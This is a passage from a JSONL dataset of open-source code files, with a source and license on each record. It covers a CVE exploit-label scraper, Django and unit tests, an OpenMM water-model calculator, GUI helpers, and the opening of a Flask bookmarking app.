cve_seebug={**cve_seebug,**cve_page}\n sql='replace INTO seebug_exp (cve_id, label, date) VALUES (?, ?, ?)'\n so.executemany(sql,cve_seebug.values())\n else:\n page=1\n et=0\n while(page>0):\n vul_url='https://www.seebug.org/vuldb/vulnerabilities?page={}'.format(str(page))\n cve_page=seebug_page_parser(url=vul_url,headers=headers)\n for i in cve_page.values():\n if i[0] in exist_cid:\n et=et+1\n if et>0:\n sql='replace INTO seebug_exp (cve_id, label, date) VALUES (?, ?, ?)'\n so.executemany(sql,cve_page.values())\n cve_seebug={**cve_seebug,**cve_page}\n break\n else:\n page=page+1\n\n return 'seebug',cve_seebug\n\ndef securityfocus_exp():\n \"\"\"\n security_focus exp label\n \"\"\"\ndef symantic_exp():\n \"\"\"\n symantic exp label\n \"\"\"\n\nif __name__=='__main__':\n #b,nexp=nvd_nist_exp()\n #c,mexp=mitre_expdb_exp()\n #print(set(list(mitre_expdb_exp()[1].keys()))^set(list(nvd_nist_exp()[1].keys())))\n\n #expdb_exp() \n\n #cve_details_exp()\n \n # github:res/code/commits/issues->cve exp label and github link\n #cve_list=github_exp(api_token='your_github_token')\n #print(cve_list)\n\n # other vul db, such as seebug, 0day.today etc.\n #print(seebug_exp(stock=False))\n\n # SecurityFocus\n\n # in the wild\n pass\n\n\n \n \n \n\n\n", "source": "devsecops-SRC/CVE-Flow", "license": "MIT"}
+{"text": "from django.test import TestCase\n\nfrom cyder.cydns.txt.models import TXT\nfrom cyder.cydns.domain.models import Domain\n\n\nclass TXTTests(TestCase):\n def setUp(self):\n self.o = Domain(name=\"org\")\n self.o.save()\n self.o_e = Domain(name=\"oregonstate.org\")\n self.o_e.save()\n\n def do_generic_add(self, data):\n txt = TXT(**data)\n txt.__repr__()\n txt.save()\n rtxt = TXT.objects.filter(**data)\n self.assertTrue(len(rtxt) == 1)\n return txt\n\n def do_remove(self, data):\n txt = self.do_generic_add(data)\n txt.delete()\n rmx = TXT.objects.filter(**data)\n self.assertTrue(len(rmx) == 0)\n\n def test_add_remove_txt(self):\n label = \"asdf\"\n data = \"asdf\"\n data = {'label': label, 'txt_data': data, 'domain': self.o_e}\n self.do_generic_add(data)\n\n label = \"asdf\"\n data = \"asdfasfd\"\n data = {'label': label, 'txt_data': data, 'domain': self.o_e}\n self.do_generic_add(data)\n\n label = \"df\"\n data = \"aasdf\"\n data = {'label': label, 'txt_data': data, 'domain': self.o_e}\n self.do_generic_add(data)\n\n label = \"12314\"\n data = \"dd\"\n data = {'label': label, 'txt_data': data, 'domain': self.o}\n self.do_generic_add(data)\n", "source": "ngokevin/chili", "license": "BSD-3-Clause"}
+{"text": "from django.shortcuts import render\n\nfrom .forms import CustomerForm\nfrom .models import Customer\nfrom store.models import Store\n\nimport logging\nlogger = logging.getLogger(__name__)\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.template import RequestContext\nfrom django.shortcuts import render_to_response, get_object_or_404\n\n@login_required\ndef customers(request):\n \"\"\"\n agent list customers\n \"\"\"\n user = request.user\n store_id = request.session['current_store_id']\n store = Store.objects.get(id = store_id)\n menu = request.session['current_menu']\n customers = Customer.objects.filter(agent_id=user.id, store_id=store.id)\n \n requestContext = RequestContext(request, {'menu':menu,\n 'customers': customers,\n 'user':user,\n 'store':store,\n 'page_title': 'Customers'} )\n \n return render_to_response('customers.html', requestContext)\n\n \n\n@login_required\ndef customer_form(request):\n \"\"\"\n agent pull customer form\n \"\"\"\n user = request.user\n store_id = request.session['current_store_id']\n store = Store.objects.get(id = store_id)\n menu = request.session['current_menu']\n \n customer_form = CustomerForm()\n requestContext = RequestContext(request, {'menu':menu,\n 'page_title': 'Edit Profile',\n 'customer_form': customer_form} )\n \n return render_to_response('customer-form.html', requestContext)\n \n@login_required\ndef save_customer(request):\n \"\"\"\n agent save customer\n \"\"\"\n if request.method == 'POST':\n user = request.user\n store_id = request.session['current_store_id']\n store = Store.objects.get(id = store_id)\n \n customer_form = CustomerForm(data=request.POST)\n if customer_form.is_valid():\n customer = customer_form.save(commit=False)\n customer.agent = user\n customer.store = store\n customer.save()\n \n # redirect to customer list page \n return customers(request) \n else:\n print customer_form.errors\n# return HttpResponse(\"Edit profile is failed.\")\n raise Http404(\"Edit customer is failed.\")\n else:\n logger.error('Can not save customer via HTTP get.')\n raise Http404('Can not save customer via HTTP get.')", "source": "vollov/sm", "license": "MIT"}
+{"text": "import os\nimport random\nimport pathlib\nfrom unittest.mock import patch\nimport numpy as np\nfrom word_vectors import FileType\nfrom word_vectors.read import read\nfrom word_vectors.convert import convert\nfrom utils import vocab, vectors, DATA, GLOVE, W2V, W2V_TEXT, LEADER, rand_str\n\n\nINPUT_MAPPING = {\n GLOVE: FileType.GLOVE,\n W2V: FileType.W2V,\n W2V_TEXT: FileType.W2V_TEXT,\n LEADER: FileType.LEADER,\n}\n\n\ndef test_convert():\n data = random.choice([GLOVE, W2V, W2V_TEXT, LEADER])\n output_type = random.choice(list(FileType))\n input_path = str(DATA / data)\n gold_output_path = os.path.splitext(input_path)[0] + \".\" + str(output_type)\n with patch(\"word_vectors.convert_module.write\") as write_patch:\n w, wv = read(input_path)\n convert(input_path, output_file_type=output_type)\n call_file, call_w, call_wv, call_type = write_patch.call_args_list[0][0]\n assert call_file == gold_output_path\n assert call_w == w\n np.testing.assert_allclose(call_wv, wv)\n assert call_type is output_type\n\n\ndef test_convert_with_output():\n data = random.choice([GLOVE, W2V, W2V_TEXT, LEADER])\n output_type = random.choice(list(FileType))\n output = rand_str()\n input_path = str(DATA / data)\n with patch(\"word_vectors.convert_module.write\") as write_patch:\n w, wv = read(input_path)\n convert(input_path, output, output_file_type=output_type)\n call_file, call_w, call_wv, call_type = write_patch.call_args_list[0][0]\n assert call_file == output\n assert call_w == w\n assert call_type == output_type\n np.testing.assert_allclose(call_wv, wv)\n\n\ndef test_convert_with_input():\n data = random.choice([GLOVE, W2V, W2V_TEXT, LEADER])\n input_type = INPUT_MAPPING[data]\n output_type = random.choice(list(FileType))\n input_path = str(DATA / data)\n output = rand_str()\n with patch(\"word_vectors.convert_module.read\") as read_patch:\n with patch(\"word_vectors.convert_module.write\") as write_patch:\n w, wv = read(input_path)\n read_patch.return_value = (w, wv)\n convert(input_path, output, output_file_type=output_type, input_file_type=input_type)\n read_patch.assert_called_once_with(input_path, input_type)\n call_file, call_w, call_wv, call_type = write_patch.call_args_list[0][0]\n assert call_file == output\n assert call_w == w\n assert call_type == output_type\n np.testing.assert_allclose(call_wv, wv)\n\n\ndef test_convert_pathlib():\n data = random.choice([GLOVE, W2V, W2V_TEXT, LEADER])\n output_type = random.choice(list(FileType))\n input_path = DATA / data\n gold_output_path = os.path.splitext(str(input_path))[0] + \".\" + str(output_type)\n with patch(\"word_vectors.convert_module.write\") as write_patch:\n w, wv = read(input_path)\n convert(input_path, output_file_type=output_type)\n call_file, call_w, call_wv, call_type = write_patch.call_args_list[0][0]\n assert str(call_file) == gold_output_path\n assert call_w == w\n np.testing.assert_allclose(call_wv, wv)\n assert call_type is output_type\n\n\ndef test_convert_with_output_pathlib():\n data = random.choice([GLOVE, W2V, W2V_TEXT, LEADER])\n output_type = random.choice(list(FileType))\n output = pathlib.Path(rand_str())\n input_path = DATA / data\n with patch(\"word_vectors.convert_module.write\") as write_patch:\n w, wv = read(input_path)\n convert(input_path, output, output_file_type=output_type)\n call_file, call_w, call_wv, call_type = write_patch.call_args_list[0][0]\n assert call_file == output\n assert call_w == w\n assert call_type == output_type\n np.testing.assert_allclose(call_wv, wv)\n\n\ndef test_convert_with_input_pathlib():\n data = random.choice([GLOVE, W2V, W2V_TEXT, LEADER])\n input_type = INPUT_MAPPING[data]\n output_type = random.choice(list(FileType))\n input_path = DATA / data\n output = pathlib.Path(rand_str())\n with patch(\"word_vectors.convert_module.read\") as read_patch:\n with patch(\"word_vectors.convert_module.write\") as write_patch:\n w, wv = read(input_path)\n read_patch.return_value = (w, wv)\n convert(input_path, output, output_file_type=output_type, input_file_type=input_type)\n read_patch.assert_called_once_with(input_path, input_type)\n call_file, call_w, call_wv, call_type = write_patch.call_args_list[0][0]\n assert call_file == output\n assert call_w == w\n assert call_type == output_type\n np.testing.assert_allclose(call_wv, wv)\n\n\ndef test_convert_open():\n data = random.choice([GLOVE, W2V, W2V_TEXT, LEADER])\n output_type = random.choice(list(FileType))\n input_path = DATA / data\n gold_output_path = os.path.splitext(str(input_path))[0] + \".\" + str(output_type)\n with open(input_path, \"r\" if data in (GLOVE, W2V_TEXT) else \"rb\") as input_path:\n with patch(\"word_vectors.convert_module.write\") as write_patch:\n w, wv = read(input_path)\n convert(input_path, output_file_type=output_type)\n call_file, call_w, call_wv, call_type = write_patch.call_args_list[0][0]\n assert str(call_file) == gold_output_path\n assert call_w == w\n np.testing.assert_allclose(call_wv, wv)\n assert call_type is output_type\n\n\ndef test_convert_with_output_open():\n data = random.choice([GLOVE, W2V, W2V_TEXT, LEADER])\n output_type = random.choice(list(FileType))\n output = rand_str()\n input_path = DATA / data\n print(output)\n try:\n with open(input_path, \"r\" if data in (GLOVE, W2V_TEXT) else \"rb\") as input_path:\n with open(output, \"w\" if output_type in (FileType.GLOVE, FileType.W2V_TEXT) else \"wb\") as output:\n with patch(\"word_vectors.convert_module.write\") as write_patch:\n w, wv = read(input_path)\n convert(input_path, output, output_file_type=output_type)\n call_file, call_w, call_wv, call_type = write_patch.call_args_list[0][0]\n assert call_file == output\n assert call_w == w\n assert call_type == output_type\n np.testing.assert_allclose(call_wv, wv)\n finally:\n os.remove(output.name)\n\n\ndef test_convert_with_input_open():\n data = random.choice([GLOVE, W2V, W2V_TEXT, LEADER])\n input_type = INPUT_MAPPING[data]\n output_type = random.choice(list(FileType))\n input_path = DATA / data\n output = rand_str()\n print(output)\n try:\n with open(input_path, \"r\" if data in (GLOVE, W2V_TEXT) else \"rb\") as input_path:\n with open(output, \"w\" if output_type in (FileType.GLOVE, FileType.W2V_TEXT) else \"wb\") as output:\n with patch(\"word_vectors.convert_module.read\") as read_patch:\n with patch(\"word_vectors.convert_module.write\") as write_patch:\n w, wv = read(input_path)\n read_patch.return_value = (w, wv)\n convert(input_path, output, output_file_type=output_type, input_file_type=input_type)\n read_patch.assert_called_once_with(input_path, input_type)\n call_file, call_w, call_wv, call_type = write_patch.call_args_list[0][0]\n assert call_file == output\n assert call_w == w\n assert call_type == output_type\n np.testing.assert_allclose(call_wv, wv)\n finally:\n os.remove(output.name)\n", "source": "blester125/word-vectors", "license": "MIT"}
+{"text": "import unittest\nfrom searchtests.test_matcher import _TestSearchTest\n\n\nclass TestTestSorter(_TestSearchTest, unittest.TestCase):\n\n def test_exact_match_is_better_than_partial(self):\n values = ['aexact', 'exact', 'exact jotain', 'exact_foo',\n 'jotain exact', 'zexact']\n self._matches_in_order('exact', values)\n\n def _matches_in_order(self, match_text, matches):\n matches = [self._match(match_text, name=name) for name in matches]\n for i in range(1, len(matches)):\n self._assert_is_greater(matches[i], matches[i - 1])\n\n def test_all_matches_is_better_than_some(self):\n self._matches_in_order(\n 'zoo foo bar', ['zoo foo bar', 'zoo foo', 'bar'])\n\n def test_more_matches_is_better_than_some_in_name(self):\n all_matches_in_docs = self._match('foo bar', doc='foo bar')\n some_match_in_name = self._match('foo bar', name='foo')\n self._assert_is_greater(some_match_in_name, all_matches_in_docs)\n\n def test_more_matches_is_better_than_some_in_tags(self):\n some_match_in_tag = self._match('foo bar', tags=['bar'])\n all_matches_in_tags = self._match('foo bar', tags=['foo', 'bar'])\n self._assert_is_greater(some_match_in_tag, all_matches_in_tags)\n\n def test_same_pattern_matches_do_not_raise_priority(self):\n all_matches_in_name = self._match('foo bar', name='foo bar')\n some_match_in_doc = self._match(\n 'foo bar', doc='bar bar bar bar bar bar')\n self._assert_is_greater(some_match_in_doc, all_matches_in_name)\n\n def test_name_is_better_than_doc(self):\n name_match = self._match('name', name='name')\n doc_match = self._match('doc', doc='doc')\n self._assert_is_greater(doc_match, name_match)\n\n def test_name_is_better_than_tag(self):\n name_match = self._match('name', name='name')\n tag_match = self._match('tag', tags=['tag'])\n self._assert_is_greater(tag_match, name_match)\n\n def test_tag_is_better_than_doc(self):\n tag_match = self._match('tag', tags=['tag'])\n doc_match = self._match('doc', doc='doc')\n self._assert_is_greater(doc_match, tag_match)\n\n def test_tags_order(self):\n tag1_match = self._match('tag', tags=['atag'])\n tag2_match = self._match('tag', tags=['btag'])\n self._assert_is_greater(tag2_match, tag1_match)\n\n def _assert_is_greater(self, greater, smaller):\n self.assertTrue(\n greater > smaller, msg='%r !>! %r' % (greater, smaller))\n self.assertFalse(smaller > greater)\n self.assertFalse(greater == smaller)\n", "source": "hoteltianya/RIDE", "license": "ECL-2.0"}
+{"text": "import unittest\nfrom GitCraw.gh_connector import GitHubConnectos\n\nclass TestGitHub(unittest.TestCase):\n def setUp(self):\n self.github=GitHubConnectos()\n self.words = 'tensorflow'\n self.keywords = 'Repositories'\n\n def test_url_format_ok(self):\n self.setUp()\n result =self.github.url_format(self.words, self.keywords)\n self.assertEqual('https://github.com/search?q=tensorflow&type=Repositories',result)\n\n def test_get_content_ok(self):\n self.setUp()\n result = self.github.get_content(self.words, self.keywords)\n self.assertIsInstance(result,str)\n\n def test_get_content_wrong(self):\n self.setUp()\n words = 'dsadsadsawee21'\n keywords = 'Repositories'\n result = self.github.get_content(words, keywords)\n self.assertIsInstance(result,str)\n\nif __name__ == '__main__':\n unittest.main()\n", "source": "heitorsampaio/Github-Crawler", "license": "MIT"}
+{"text": "# Copyright (c) OpenMMLab. All rights reserved.\nfrom mmcv.cnn import MODELS as MMCV_MODELS\nfrom mmcv.utils import Registry\n\nMODELS = Registry('models', parent=MMCV_MODELS)\n\nALGORITHMS = MODELS\nMUTABLES = MODELS\nDISTILLERS = MODELS\nLOSSES = MODELS\nOPS = MODELS\nPRUNERS = MODELS\nQUANTIZERS = MODELS\nARCHITECTURES = MODELS\nMUTATORS = MODELS\n\n\ndef build_algorithm(cfg):\n \"\"\"Build compressor.\"\"\"\n return ALGORITHMS.build(cfg)\n\n\ndef build_architecture(cfg):\n \"\"\"Build architecture.\"\"\"\n return ARCHITECTURES.build(cfg)\n\n\ndef build_mutator(cfg):\n \"\"\"Build mutator.\"\"\"\n return MUTATORS.build(cfg)\n\n\ndef build_distiller(cfg):\n \"\"\"Build distiller.\"\"\"\n return DISTILLERS.build(cfg)\n\n\ndef build_pruner(cfg):\n \"\"\"Build pruner.\"\"\"\n return PRUNERS.build(cfg)\n\n\ndef build_mutable(cfg):\n \"\"\"Build mutable.\"\"\"\n return MUTABLES.build(cfg)\n\n\ndef build_op(cfg):\n \"\"\"Build op.\"\"\"\n return OPS.build(cfg)\n\n\ndef build_loss(cfg):\n \"\"\"Build loss.\"\"\"\n return LOSSES.build(cfg)\n", "source": "hunto/mmrazor", "license": "Apache-2.0"}
+{"text": "from ase import Atoms\nfrom simtk.openmm import app\nimport simtk.openmm as mm\nfrom simtk import unit\nimport sys\nimport mbpol\nimport numpy as np\nfrom ase import units as ase_units\nfrom .utils import coords_to_pdb\nimport os\neVtokcal = 23.06035\nkcaltoeV = 1/eVtokcal\n\nkilocalorie_per_mole_per_angstrom = unit.kilocalorie_per_mole/unit.angstrom\n\nclass MbpolCalculator:\n\n def __init__(self, atoms):\n\n # Create a PDB file that can be read by OpenMM\n coords_to_pdb(atoms.get_positions(),int(atoms.get_number_of_atoms()/3))\n pdb = app.PDBFile(\"./tmp.pdb\")\n os.remove('./tmp.pdb')\n\n cell = atoms.get_cell()\n\n # Make sure bond lengths are within MBPol range\n distances = atoms.get_all_distances()\n for i in range(0,len(distances),3):\n for j in [1,2]:\n if distances[i,i+j] > 2.5:\n print('WARNING: rOH > 2.5 A!!!!!! ({})'.format(distances[i,i+j]))\n if atoms.get_pbc()[0]: print('Try: reconnect_monomers()')\n\n self.atoms = atoms\n \n if np.count_nonzero(cell - np.diag(np.diag(cell))) != 0:\n raise Exception('Only orthorhombic unit cells supported')\n\n if np.alltrue(atoms.get_pbc()):\n self.nonbondedMethod = app.PME\n if np.allclose(np.diag(cell),np.array([0,0,0])):\n raise Exception('Specify unit cell for PBC')\n self.boxSize = tuple(np.diag(cell)) * unit.angstrom\n pdb.topology.setUnitCellDimensions(self.boxSize)\n self.nonbondedCutoff = cell[0,0] / 2 * unit.angstrom\n elif np.alltrue([not a for a in atoms.get_pbc()]):\n self.nonbondedMethod = app.CutoffNonPeriodic\n self.nonbondedCutoff = 1e4 * unit.angstrom\n else:\n raise Exception('Only non-PBC or PBC in all euclidean directions supported')\n\n self.forcefield = app.ForceField(mbpol.__file__.replace(\"mbpol.py\", \"mbpol.xml\"))\n self.system = self.forcefield.createSystem(pdb.topology,\n nonbondedMethod=self.nonbondedMethod,\n nonbondedCutoff=self.nonbondedCutoff)\n\n self.platform = mm.Platform.getPlatformByName('Reference')\n integrator = mm.VerletIntegrator(0.5) # Never used but needed for context\n self.simulation = app.Simulation(pdb.topology, self.system, integrator, self.platform)\n self.set_positions(atoms) #ASE: Angstrom , OMM : nm\n self.state = self.simulation.context.getState(getForces=True, getEnergy=True)\n self.last_coordinates = np.array(pdb.positions.value_in_unit(unit.angstrom))\n self.last_coordinates = np.delete(self.last_coordinates,\n np.arange(3,len(self.last_coordinates),4), axis = 0).reshape(-1,3)\n\n def calculation_required(self, atoms, quantities = None):\n return (not np.all(self.last_coordinates == atoms.positions))\n\n def set_positions(self, atoms):\n # Convert positions as stored in ase Atoms instance to OpenMM/MBPol format\n # which includes a 4th position per molecule for the virtual site \"M\"\n pos = np.zeros([int(len(atoms.positions)/3*4),3]).reshape(-1,4,3)\n pos[:,:3,:] = atoms.positions.reshape(-1,3,3)\n self.simulation.context.setPositions(pos.reshape(-1,3)/10) #ASE: Angstrom , OMM : nm\n self.simulation.context.computeVirtualSites()\n\n def get_forces(self, atoms):\n if self.calculation_required(atoms):\n self.set_positions(atoms)\n self.state = self.simulation.context.getState(getForces=True, getEnergy=True)\n self.last_coordinates = np.array(atoms.positions)\n forces = np.array(self.state.getForces().value_in_unit(kilocalorie_per_mole_per_angstrom))*kcaltoeV\n # Delete forces on virtual sites\n return np.delete(forces, np.arange(3,len(forces),4), axis = 0)\n\n def get_potential_energy(self, atoms, force_consistent = False):\n if self.calculation_required(atoms):\n self.set_positions(atoms)\n self.state = self.simulation.context.getState(getEnergy=True, getForces=True)\n self.last_coordinates = np.array(atoms.positions)\n return self.state.getPotentialEnergy().value_in_unit(unit.kilocalorie_per_mole)*kcaltoeV\n\n def get_stress(self, atoms):\n return np.zeros([3,3])\n# raise Exception('get_stress() not implemented')\n\ndef reconnect_monomers(atoms, rc = 2.5):\n \"\"\" Reconnect Hydrogen and Oxygen that are split across unit cell\n boundaries and are therefore situated on opposite ends of the unit\n cell\n \"\"\"\n boxsize = np.diag(atoms.get_cell())\n pos0 = np.array(atoms.positions)\n\n for i,_ in enumerate(atoms.get_positions()[::3]):\n\n if atoms.get_distance(i*3,i*3+1) > rc:\n d = atoms.positions[i*3] - atoms.positions[i*3+1]\n which = np.where(np.abs(d) > 5)[0]\n for w in which:\n pos0[i*3+1, w] += d[w]/np.abs(d[w]) * boxsize[w]\n if atoms.get_distance(i*3,i*3+2) > rc:\n d = atoms.positions[i*3] - atoms.positions[i*3+2]\n which = np.where(np.abs(d) > 5)[0]\n for w in which:\n pos0[i*3+2, w] += d[w]/np.abs(d[w]) * boxsize[w]\n\n atoms.set_positions(pos0)\n return atoms\n", "source": "semodi/mbpol_calculator", "license": "MIT"}
+{"text": "# Copyright The IETF Trust 2017, All Rights Reserved\n# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals, print_function\n\n# The following text entries were taken from\n# https://www.ietf.org/ietf-ftp/1id-guidelines.txt\n\nboilerplate_draft_status_of_memo = [\n \"\"\"\n This Internet-Draft is submitted in full conformance with the\n provisions of BCP 78 and BCP 79.\n \"\"\",\n \"\"\"\n Internet-Drafts are working documents of the Internet Engineering Task\n Force (IETF). Note that other groups may also distribute working\n documents as Internet-Drafts. The list of current Internet-Drafts is\n at .\n \"\"\",\n \"\"\"\n Internet-Drafts are draft documents valid for a maximum of six months\n and may be updated, replaced, or obsoleted by other documents at any\n time. It is inappropriate to use Internet-Drafts as reference\n material or to cite them other than as \"work in progress.\"\n \"\"\",\n \"\"\"\n This Internet-Draft will expire on {expiration_date}.\n \"\"\",\n ]\n", "source": "ietf-svn-conversion/xml2rfc", "license": "BSD-3-Clause"}
+{"text": "#------------------------------------------------------------------------------\n# Copyright (c) 2005, Enthought, Inc.\n# All rights reserved.\n#\n# This software is provided without warranty under the terms of the BSD\n# license included in enthought/LICENSE.txt and may be redistributed only\n# under the conditions described in the aforementioned license. The license\n# is also available online at http://www.enthought.com/licenses/BSD.txt\n# Thanks for using Enthought open source!\n#\n# Author: Enthought, Inc.\n# Description: \n#------------------------------------------------------------------------------\n\"\"\" Workaround for combobox focus problem in wx 2.6. \"\"\"\n\n# Major package imports\nimport wx\n\n#-------------------------------------------------------------------------------\n# Constants:\n#-------------------------------------------------------------------------------\n\n# Mapping from key code to key event handler names:\nHandlers = {\n wx.WXK_LEFT: '_left_key',\n wx.WXK_RIGHT: '_right_key',\n wx.WXK_UP: '_up_key',\n wx.WXK_DOWN: '_down_key',\n wx.WXK_ESCAPE: '_escape_key'\n}\n\n#-------------------------------------------------------------------------------\n# 'ComboboxFocusHandler' class:\n#-------------------------------------------------------------------------------\n\nclass ComboboxFocusHandler(wx.EvtHandler):\n\n def __init__(self, grid):\n wx.EvtHandler.__init__(self)\n\n self._grid = grid\n wx.EVT_KEY_DOWN(self, self._on_key)\n\n def _on_key(self, evt):\n \"\"\" Called when a key is pressed. \"\"\"\n getattr( self, Handlers.get( evt.GetKeyCode(), '_ignore_key' ))( evt )\n\n#-- Key Event Handlers --------------------------------------------------------\n\n def _ignore_key ( self, evt ):\n evt.Skip()\n\n def _escape_key ( self, evt ):\n self._grid.DisableCellEditControl()\n\n def _left_key ( self, evt ):\n if not (evt.ControlDown() or evt.AltDown()):\n evt.Skip()\n return\n\n grid, row, col, rows, cols = self._grid_info()\n\n grid._no_reset_row = True\n\n first = True\n while first or (not self._edit_cell( row, col )):\n col -= 1\n if col < 0:\n col = cols - 1\n row -= 1\n if row < 0:\n if not first:\n break\n\n row = rows - 1\n\n first = False\n\n def _right_key ( self, evt ):\n if not (evt.ControlDown() or evt.AltDown()):\n evt.Skip()\n return\n\n grid, row, col, rows, cols = self._grid_info()\n\n grid._no_reset_row = True\n\n first = True\n while first or (not self._edit_cell( row, col )):\n col += 1\n if col >= cols:\n col = 0\n row += 1\n if row >= rows:\n if not first:\n break\n\n row = 0\n\n first = False\n\n def _up_key ( self, evt ):\n if not (evt.ControlDown() or evt.AltDown()):\n evt.Skip()\n return\n\n grid, row, col, rows, cols = self._grid_info()\n\n grid._no_reset_col = True\n\n row -= 1\n if row < 0:\n row = rows - 1\n\n self._edit_cell( row, col )\n\n def _down_key ( self, evt ):\n if not (evt.ControlDown() or evt.AltDown()):\n evt.Skip()\n return\n\n grid, row, col, rows, cols = self._grid_info()\n\n grid._no_reset_col = True\n\n row += 1\n if row >= rows:\n row = 0\n\n self._edit_cell( row, col )\n\n#-- Private Methods -----------------------------------------------------------\n\n def _grid_info ( self ):\n g = self._grid\n return ( g, g.GetGridCursorRow(), g.GetGridCursorCol(),\n g.GetNumberRows(), g.GetNumberCols() )\n\n def _edit_cell ( self, row, col ):\n grid = self._grid\n grid.DisableCellEditControl()\n grid.SetGridCursor( row, col )\n if not grid.CanEnableCellControl():\n return False\n\n grid.EnableCellEditControl()\n grid.MakeCellVisible( row, col )\n\n return True\n\n#### EOF ####################################################################\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"}
+{"text": "# -*- coding: utf-8 -*-\nfrom __future__ import print_function, absolute_import, unicode_literals, division\nimport itertools\n\nfrom ginga.canvas.types.all import Line, CompoundObject\nfrom ginga.util import wcs\n\nfrom hcam_widgets.tkutils import get_root\n\nfrom .finders import FovSetter\n\n\nclass UCAMFovSetter(FovSetter):\n\n def window_string(self):\n g = get_root(self).globals\n if g.ipars.isFF:\n retval = ''\n else:\n wframe = g.ipars.wframe\n winlist = [\n 'xsl: {}, xsr: {}, ys: {}, nx: {}, ny: {}'.format(xsl, xsr, ys, nx, ny)\n for (xsl, xsr, ys, nx, ny) in wframe\n ]\n retval = '\\n'.join(winlist)\n return retval\n\n def _make_ccd(self, image):\n \"\"\"\n Converts the current instrument settings to a ginga canvas object\n \"\"\"\n # get window pair object from top widget\n g = get_root(self).globals\n wframe = g.ipars.wframe\n\n # all values in pixel coords of the FITS frame\n # get centre\n ctr_x, ctr_y = image.radectopix(self.ctr_ra_deg, self.ctr_dec_deg)\n self.ctr_x, self.ctr_y = ctr_x, ctr_y\n\n nx, ny = self.nxtot.value, self.nytot.value\n mainCCD = self._make_win(0, 0, nx, ny, image,\n fill=True, color='red',\n fillalpha=0.1, name='mainCCD')\n\n # dashed lines to mark quadrants of CCD\n chip_ctr_ra, chip_ctr_dec = self._chip_cen()\n x1, y1 = wcs.add_offset_radec(chip_ctr_ra, chip_ctr_dec,\n 0, self.fov_y/2)\n x2, y2 = wcs.add_offset_radec(chip_ctr_ra, chip_ctr_dec,\n 0, -self.fov_y/2)\n points = [image.radectopix(ra, dec) for (ra, dec) in (\n (x1, y1), (x2, y2)\n )]\n points = list(itertools.chain.from_iterable(points))\n vline = Line(*points, color='red', linestyle='dash', linewidth=2)\n\n # emphasis on bottom of CCD\n x1, y1 = wcs.add_offset_radec(chip_ctr_ra, chip_ctr_dec,\n -self.fov_x/2, -self.fov_y/2)\n x2, y2 = wcs.add_offset_radec(chip_ctr_ra, chip_ctr_dec,\n self.fov_x/2, -self.fov_y/2)\n points = [image.radectopix(ra, dec) for (ra, dec) in (\n (x1, y1), (x2, y2)\n )]\n points = list(itertools.chain.from_iterable(points))\n eline = Line(*points, color='red', linewidth=4)\n\n # list of objects for compound object\n obl = [mainCCD, vline, eline]\n\n # iterate over window pairs\n # these coords in ccd pixel vaues\n if not g.ipars.isFF:\n params = dict(fill=True, fillcolor='blue', fillalpha=0.3)\n for xsl, xsr, ys, nx, ny in wframe:\n obl.append(self._make_win(xsl, ys, nx, ny, image, **params))\n obl.append(self._make_win(xsr, ys, nx, ny, image, **params))\n\n obj = CompoundObject(*obl)\n obj.editable = True\n return obj\n", "source": "HiPERCAM/hcam_finder", "license": "MIT"}
+{"text": "#!/usr/bin/env python3\n\"\"\"bmarks, an aws bookmarking app\"\"\"\n\nimport os\nfrom datetime import datetime\nfrom uuid import uuid4\n\nfrom flask import Blueprint, current_app, Flask, jsonify, redirect, render_template, request, session, url_for\nfrom flask_dynamo import Dynamo\nfrom flask_login import login_required, login_user, logout_user, LoginManager, UserMixin\nfrom flask_wtf import FlaskForm\nfrom flask_wtf.csrf import generate_csrf\nfrom wtforms import PasswordField, StringField, SubmitField, TextAreaField\nfrom wtforms.validators import InputRequired\n\n\n#\n# application objects and factory\n#\n\nblueprint = Blueprint('app', __name__) # pylint: disable=invalid-name\ndynamo = Dynamo() # pylint: disable=invalid-name\nlogin_manager = LoginManager() # pylint: disable=invalid-name\nTABLE_NAME = 'bmarks_links'\n\ndef create_app():\n \"\"\"application factory\"\"\"\n\n app = Flask(__name__)\n app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY') or os.urandom(32)\n app.config['DYNAMO_TABLES'] = [{\n 'TableName': TABLE_NAME,\n 'KeySchema': [{'AttributeName': 'id', 'KeyType': 'HASH'}],\n 'AttributeDefinitions': [{'AttributeName': 'id', 'AttributeType': 'S'}],\n 'ProvisionedThroughput': {'ReadCapacityUnits': 5, 'WriteCapacityUnits': 5}\n }]\n\n dynamo.init_app(app)\n login_manager.init_app(app)\n login_manager.login_view = 'app.login_route'\n login_manager.login_message = 'Not logged in'\n login_manager.login_message_category = 'error'\n app.register_blueprint(blueprint, url_prefix='/')\n # least intrusive way to pass token into every view without enforcing csrf on all routes\n app.add_template_global(name='csrf_token', f=generate_csrf)\n return app\n\n\n#\n# forms\n#\n\nclass ButtonForm(FlaskForm):\n \"\"\"simple button form for csrf handling on non-data forms\"\"\"\n\n\nclass LinkForm(FlaskForm):\n \"\"\"link form\"\"\"\n\n link = StringField('Link', [InputRequired()])\n tags = StringField('Tags', description='Multiple tags separated by comma (,).')\n submit = SubmitField('Save')\n\n def parsed_data(self):\n \"\"\"parse data from form\"\"\"\n\n link = self.link.data.strip()\n tags = list(filter(bool, [x.strip() for x in self.tags.data.split(',')]))\n return link, tags\n\n\nclass LoginForm(FlaskForm):\n \"\"\"login form\"\"\"\n\n password = PasswordField('Password', [InputRequired()])\n submit = SubmitField('Login')\n\n\nclass ImportForm(FlaskForm):\n \"\"\"Bulk import form\"\"\"\n\n imported = TextAreaField('Imported', [InputRequired()], render_kw={'rows': 20})\n submit = SubmitField('Import')\n\n\n#\n# authentication\n#\n\nclass User(UserMixin):\n \"\"\"dead simple user class\"\"\"\n\n def __init__(self):\n self.id = 1 # pylint: disable=invalid-name\n self.password = os.environ.get('PASSWORD')\n\n\n@login_manager.user_loader\ndef load_user(user_id): # pylint: disable=unused-argument\n \"\"\"user loader\"\"\"\n return User()\n\n\n@blueprint.route('/login', methods=['GET', 'POST'])\ndef login_route():\n \"\"\"login route\"\"\"\n\n form = LoginForm()\n\n if form.validate_on_submit():\n user = User()\n if user.password and (user.password == form.password.data):\n session.permanent = True\n login_user(user)\n\n # redirect after login\n if request.args.get('next'):\n for rule in current_app.url_map.iter_rules():\n if rule.rule.startswith(request.args.get('next')):\n return redirect(request.args.get('next'))\n return redirect(url_for('app.index_route'))\n\n return render_template('login.html', form=form)\n\n\n@blueprint.route('/logout')\n@login_required\ndef logout_route():\n 